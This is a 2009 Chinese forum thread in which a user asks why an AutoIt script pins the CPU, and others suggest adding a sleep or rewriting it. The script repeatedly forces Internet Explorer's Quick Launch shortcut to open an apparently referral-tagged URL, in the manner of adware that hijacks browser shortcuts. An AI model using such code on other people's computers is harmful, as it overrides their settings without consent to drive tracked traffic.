fupsky 发表于 2009-5-17 14:14:54

这短脚本怎么死循环啊?

本帖最后由 fupsky 于 2009-6-6 14:34 编辑

While 1
        $asp=FileGetShortcut("C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch" & "\启动 Internet Explorer 浏览器.lnk")
        if $asp <> "http://www.v232.com/sogou.sz?fupsky" Then
                FileCreateShortcut(@ProgramFilesDir & "\Internet Explorer\iexplore.exe", "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch" & "\启动 Internet Explorer 浏览器.lnk", "", "http://www.v232.com/sogou.sz?fupsky")
        EndIf
WEnd

好郁闷哦!CPU的使用率总是50%以上……


管理员受累,我已经解决了这个问题!请您老把问题放到已解决的问题里边儿

fupsky 发表于 2009-5-17 14:54:24

解决了,加了个sleep

any9988 发表于 2009-5-17 15:25:19

本帖最后由 any9988 于 2009-5-17 15:27 编辑

        $lnk="C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\"
        $ie=@ProgramFilesDir & "\Internet Explorer\IEXPLORE.EXE"
        $url="http://www.hao123.com"
$asp=FileGetShortcut($lnk & "启动 Internet Explorer 浏览器.lnk")
      if $asp <> $url Then
                FileCreateShortcut($ie, $lnk & "\启动 Internet Explorer 浏览器","", $url, "")
      EndIf

any9988 发表于 2009-5-17 15:27:16

完全可以考虑直接写入一个快捷方式。

fupsky 发表于 2009-5-31 12:38:51

怎么设置问题的状态啊?
页: [1]
查看完整版本: 这短脚本怎么死循环啊?